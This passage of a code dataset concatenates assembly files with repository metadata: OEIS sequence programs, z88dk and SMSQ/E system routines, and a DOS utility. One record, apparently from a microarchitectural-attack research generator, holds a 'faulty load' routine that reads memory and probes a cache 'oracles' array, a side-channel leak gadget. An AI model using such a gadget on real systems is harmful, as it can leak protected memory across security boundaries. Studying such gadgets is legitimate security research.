'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 1}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 8}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 5}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
36.854167
2,999
0.653901
e1c9813739eae9fd7c74369c912106ef33bb8289
389
asm
Assembly
programs/oeis/211/A211263.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/211/A211263.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/211/A211263.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A211263: Number of integer pairs (x,y) such that 0<x<y<=n and x*y=floor(n/2). ; 0,0,0,1,1,1,1,1,1,1,1,2,2,1,1,2,2,1,1,2,2,1,1,3,3,1,1,2,2,2,2,2,2,1,1,3,3,1,1,3,3,2,2,2,2,1,1,4,4,1,1,2,2,2,2,3,3,1,1,4,4,1,1,3,3,2,2,2,2,2,2,4,4,1,1,2,2,2,2,4,4,1,1,4,4,1,1,3,3,3,3,2,2,1,1,5,5,1,1 sub $0,1 div $0,2 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. div $0,2
48.625
199
0.565553
93f50e1e4c8845c031b3b444f486887b5d7c557d
262
asm
Assembly
programs/oeis/140/A140758.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/140/A140758.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140758.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A140758: Floor(n*Pi/2). ; 0,1,3,4,6,7,9,10,12,14,15,17,18,20,21,23,25,26,28,29,31,32,34,36,37,39,40,42,43,45,47,48,50,51,53,54,56,58,59,61,62,64,65,67,69,70,72,73,75,76,78,80,81,83,84,86,87,89,91,92,94,95,97,98,100,102,103,105 mov $1,399 mul $1,$0 div $1,254
37.428571
202
0.641221
5cf9279c58e5b07db58fac086bcebd26588cb9ea
2,251
asm
Assembly
smsq/qpc/isrv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qpc/isrv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qpc/isrv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SMS (QPC) Interrupt Server  2006 Marcel Kilgus ; ; 2006-04-01 1.01 Enabled numlock (MK) ; 2018-01-03 1.02 Beep-end code now on PC side to support shorter beeps (MK) section isrv xdef qpc_isrv xdef qpc_event_list xref ioq_pbyt xref kbd_pc84x xref kbd_setnumlock xref spp_sendpar xref spp_sendser xref spp_rxser include 'dev8_smsq_qpc_keys' include 'dev8_keys_psf' include 'dev8_keys_sys' include 'dev8_keys_serparprt' include 'dev8_smsq_smsq_base_keys' include 'dev8_mac_assert' include 'dev8_smsq_kbd_keys' include 'dev8_smsq_smsq_config_keys' qpc_event_list dc.w qpc_event_poll-* dc.w qpc_event_end-* dc.w qpc_event_kbd-* dc.w qpc_event_mouse-* dc.w qpc_event_par-* dc.w qpc_event_stx-* dc.w qpc_event_srx-* qpc_isrv dc.w qpc.savr ; save all registers qpc_handle_event dc.w qpc.cale ; process event ; ----- qpc_event_kbd move.l qpc_kbd_link,d0 beq qpc_handle_event move.l d0,a3 move.l d1,d2 ; event data is address of kbd queue move.b qpc_numl,d0 jsr kbd_setnumlock qpc_kbd_loop dc.w qpc.getq ; get byte out of keyboard queue beq.s qpc_handle_event lea qpc_sconf,a2 tst.b sms_winkbd(a2) beq.s qpc_kbd_smsqe ; Use SMSQ/E keyboard driver move.l kb_queue(a3),a2 jsr ioq_pbyt ; QPC handles character translation bra.s qpc_kbd_loop qpc_kbd_smsqe move.b d1,d0 jsr kbd_pc84x ; convert AT keyboard byte bra.s qpc_kbd_loop qpc_event_par jsr spp_sendpar dc.w qpc.cale qpc_event_stx jsr spp_sendser dc.w qpc.cale qpc_event_srx jsr spp_rxser dc.w qpc.cale qpc_event_mouse dc.w qpc.cale ; ******** qpc_event_end dc.w qpc.resr ; restore all registers rte ; ----- qpc_event_poll dc.w qpc.resr ; restore all registers movem.l psf.reg,-(sp) move.l sms.sysb,a6 ; system variable base move.b sys_caps(a6),d7 ; QPC1 doesn't set d7 dc.w qpc.skled ; set keyboard led status move.b d7,sys_caps(a6) ; QPC2 can't set Win's capslock state, ; so write back the real state dc.w qpc.beepn ; beeping? move.b d7,sys_qlbp(a6) ; copy status to system variable tas sys_plrq(a6) bne.s isrv_rrte addq.w #1,sys_pict(a6) ; one more poll and.w #$f8ff,sr ; re-enable interrupts move.l sms.spoll,a5 jmp (a5) isrv_rrte movem.l (sp)+,psf.reg rte end
20.651376
78
0.733008
6b3a4365697d1b973651d8c3d7ff496f9cca863c
335
asm
Assembly
src/stdio.asm
stephanro/hello_nasm
7c7813748c0565bb7daea049e7a11b0466ccfeef
[ "MIT" ]
null
null
null
src/stdio.asm
stephanro/hello_nasm
7c7813748c0565bb7daea049e7a11b0466ccfeef
[ "MIT" ]
null
null
null
src/stdio.asm
stephanro/hello_nasm
7c7813748c0565bb7daea049e7a11b0466ccfeef
[ "MIT" ]
null
null
null
; hello_world.asm %define _STDOUT 0x1 %define _WRITE 0x1 section .data section .bss section .text global stdio stdio: align 16 .print_string: ; Function prologue. push rbp mov rbp, rsp ; Write string to standard output. mov rax, _WRITE mov rdi, _STDOUT syscall leave ret
11.964286
40
0.629851
23668de5096a1181c0a4d4c0ebc05c058a639ea8
182
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_back.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_back.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_back.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *p_queue_back(p_queue_t *q) SECTION code_clib SECTION code_adt_p_queue PUBLIC _p_queue_back EXTERN _p_forward_list_alt_back defc _p_queue_back = _p_forward_list_alt_back
15.166667
45
0.851648
be3de0ff8f633f4857b12414c3df7e08ffdf9eb7
409
asm
Assembly
oeis/193/A193421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/193/A193421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/193/A193421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A193421: E.g.f.: Sum_{n>=0} x^n * exp(n^2*x). ; Submitted by Christian Krause ; 1,1,4,33,436,8185,206046,6622945,263313688,12627149265,716160702970,47284266221401,3587061106583604,309251317536586633,30017652739792964806,3254137305364883664945,391238883136463492841136,51846176797206158144925985 mov $3,1 lpb $0 sub $0,1 add $1,1 mov $2,$0 pow $2,2 pow $2,$1 mul $3,$1 add $3,$2 lpe mov $0,$3
25.5625
216
0.731051
11519ff9c4292ba1dff985356c85dff9fca8a851
90
asm
Assembly
src/kernel/entry.asm
dmfedorin/glucOS
52db10764886d8176bbafc8fd015f573ebd3bc84
[ "MIT" ]
null
null
null
src/kernel/entry.asm
dmfedorin/glucOS
52db10764886d8176bbafc8fd015f573ebd3bc84
[ "MIT" ]
null
null
null
src/kernel/entry.asm
dmfedorin/glucOS
52db10764886d8176bbafc8fd015f573ebd3bc84
[ "MIT" ]
1
2022-01-19T17:34:08.000Z
2022-01-19T17:34:08.000Z
[bits 32] [extern krnl_main] section .text jmp krnl_main
15
37
0.488889
c0f21bdbd6269e6103b359e33de634713e92ea7a
7,046
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_1686.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_1686.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_1686.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_A_ht+0x167e9, %rsi nop cmp $42572, %rdi mov (%rsi), %r11d nop nop xor %r15, %r15 lea addresses_D_ht+0x2fe9, %rsi xor $30488, %r11 mov $0x6162636465666768, %r8 movq %r8, %xmm5 movups %xmm5, (%rsi) nop nop nop nop sub %rdi, %rdi lea addresses_A_ht+0x160e9, %rsi lea addresses_WC_ht+0x1ca9, %rdi nop nop nop nop inc %r8 mov $113, %rcx rep movsw and %rsi, %rsi lea addresses_WC_ht+0x8ee9, %rsi lea addresses_D_ht+0x1bdc9, %rdi nop nop nop and $20287, %r11 mov $97, %rcx rep movsb nop nop nop add $9564, %rcx lea addresses_WC_ht+0xe7a9, %r15 nop nop nop add %r10, %r10 movb (%r15), %r11b and $2074, %r11 lea addresses_UC_ht+0xb981, %rsi lea addresses_UC_ht+0x86c9, %rdi clflush (%rdi) add $5962, %r12 mov $4, %rcx rep movsl nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x13f9, %r10 sub %r8, %r8 movw $0x6162, (%r10) nop nop inc %r10 lea addresses_UC_ht+0x20e9, %rcx nop nop nop nop nop cmp $9657, %r10 mov (%rcx), %si nop nop nop dec %rcx lea addresses_normal_ht+0x16965, %rcx nop sub $55817, %rsi movl $0x61626364, (%rcx) xor %rsi, %rsi lea addresses_WC_ht+0x194e9, %rsi clflush (%rsi) nop nop and %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm7 and $0xffffffffffffffc0, %rsi vmovntdq %ymm7, (%rsi) add %r15, %r15 lea addresses_normal_ht+0xdb69, %rsi lea addresses_A_ht+0x15769, %rdi nop nop nop nop add $61892, %r15 mov $13, %rcx rep movsq nop nop nop sub $58451, %rdi lea addresses_WT_ht+0x40e9, %rsi lea addresses_WT_ht+0x146e9, %rdi clflush (%rsi) clflush (%rdi) nop nop nop add %r8, %r8 mov $26, %rcx rep movsw nop nop cmp %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %r9 push %rax push %rbx push %rsi // Faulty Load mov $0x18e90e00000006e9, %rax clflush (%rax) nop nop nop nop sub $20966, %rsi mov (%rax), %r9d lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop %rsi pop %rbx pop %rax pop %r9 pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
37.280423
2,999
0.658672
ca7a13bd77230eb1721e307a2929f71bad1fcbf4
734
asm
Assembly
Homework Submission/Homework5/3.asm
maliha-mamtaz/CSE331L_Section_7_Summer_2020_NSU
76f1759a9fa7971f289d8c3482d5435b72289b30
[ "MIT" ]
null
null
null
Homework Submission/Homework5/3.asm
maliha-mamtaz/CSE331L_Section_7_Summer_2020_NSU
76f1759a9fa7971f289d8c3482d5435b72289b30
[ "MIT" ]
null
null
null
Homework Submission/Homework5/3.asm
maliha-mamtaz/CSE331L_Section_7_Summer_2020_NSU
76f1759a9fa7971f289d8c3482d5435b72289b30
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 100H .DATA PROMPT_1 DB 'Enter an integer : $' PROMPT_2 DB 'The integer is : $' .CODE MAIN PROC MOV AX,@DATA MOV DS,AX LEA DX,PROMPT_1 MOV AH,9 INT 21H MOV CX,2 MOV AH,1 INT 21H MOV BL,AL MOV AH,2 MOV DL,0DH INT 21H MOV DL,0AH INT 21H LEA DX,PROMPT_2 MOV AH,9 INT 21H CMP BL,30H JL @NEGATIVE JZ @ZERO JG @POSITIVE @NEGATIVE: MOV DL,'N' JMP @DISPLAY @ZERO: MOV DL,'Z' JMP @DISPLAY @POSITIVE: MOV DL,'P' JMP @DISPLAY @DISPLAY: MOV AH,2 INT 21H MOV AH,4CH INT 21H MAIN ENDP END MAIN
11.292308
34
0.485014
faf03eb4ecfe1e4e6719a77a47db1615220e1a07
59
asm
Assembly
data/maps/headers/Colosseum.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/headers/Colosseum.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/headers/Colosseum.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
map_header Colosseum, COLOSSEUM, CLUB, 0 end_map_header
14.75
41
0.79661
83e7805a57d901582a7fb26d20656635e7968ab4
1,430
asm
Assembly
libsrc/input/aquarius/in_LookupKey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/input/aquarius/in_LookupKey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/input/aquarius/in_LookupKey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint in_LookupKey(uchar c) ; 06.2018 suborb SECTION code_clib PUBLIC in_LookupKey PUBLIC _in_LookupKey EXTERN in_keytranstbl ; Given the ascii code of a character, returns the scan row and mask ; corresponding to the key that needs to be pressed to generate the ; character. ; ; The scan row returned will have bit 7 set and bit 6 set to ; indicate if CAPS, SYM SHIFTS also have to be pressed to generate the ; ascii code, respectively. ; enter: L = ascii character code ; exit : L = scan row ; H = mask ; else: L = scan row, H = mask ; bit 7 of L set if SHIFT needs to be pressed ; bit 6 of L set if FUNC needs to be pressed ; uses : AF,BC,HL ; The 16-bit value returned is a scan code understood by ; in_KeyPressed. .in_LookupKey ._in_LookupKey ld a,l ld hl,in_keytranstbl ld bc,48 * 3 cpir jr nz,notfound ld a,+(48 * 3) - 1 sub c ;A = position in table ld hl,0 cp 48 * 2 jr c,not_function_table sub 48 * 2 set 6,l jr shift not_function_table: cp 48 jr c,shift sub 48 set 7,l shift: ; Need to divide by 6 ld b,255 div6loop: inc b sub 6 jr nc,div6loop add 7 ;bit position + 1 ld c,a ld a,l or b ld l,a ; l = line number + control/shift flags ; c = bit_position + 1 ld h,@00100000 calc_mask: dec c ret z ; h = mask, l = flags and a rr h jr calc_mask notfound: ld hl,0 scf ret
18.101266
70
0.645455
db2e51a5f3ace3f052610a6327319dfcafefa144
1,069
asm
Assembly
45/beef/cw/user/overlutl.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/beef/cw/user/overlutl.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/beef/cw/user/overlutl.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;* ;* COW : Character Oriented Windows ;* ;* util.asm : user utilities (DOS 3 & 5) title util - low level utilities for COW USER .xlist include user.inc .list sBegin USER_CORE assumes CS,USER_CORE assumes DS,DATA assumes SS,DATA subttl memset page ;---- ; ; MemSetW - Memory set Words ; ; Purpose: ; Sets the first cnt words of dest to the word value w ; ; void MemSetW(WORD ps, WORD off, WORD w, unsigned cnt); ; ; Args: ; ps:off - the Destination buffer. ; w - The character to fill the buffer with ; cnt - The count of the number of bytes to fill. ; ; Returns: ; 'non' ; ;---- IFDEF WINDOW_OVERLAP cProc MemSetW,<PUBLIC, NEAR>,<DI> parmW psDest parmW offDest parmW w parmW cnt cBegin MemSetW mov es,psDest ; set es = ds mov di,offDest ; Get destination mov ax,w ; Get character to fill buffer with mov cx,cnt ; get number of bytes to move rep stosw ; Fill the buffer cEnd MemSetW ENDIF ;WINDOW_OVERLAP sEnd USER_CORE ;***************************************************************************** END
17.241935
78
0.625819
9fb1c8b37a858cd5591fd87f31f976e27068a974
7,675
asm
Assembly
stub/stublib.asm
paule32/forth2asm
b1208581cd94017f8207b4b3bff28f0bce81ff7e
[ "MIT" ]
null
null
null
stub/stublib.asm
paule32/forth2asm
b1208581cd94017f8207b4b3bff28f0bce81ff7e
[ "MIT" ]
1
2019-12-09T00:20:36.000Z
2019-12-09T00:20:36.000Z
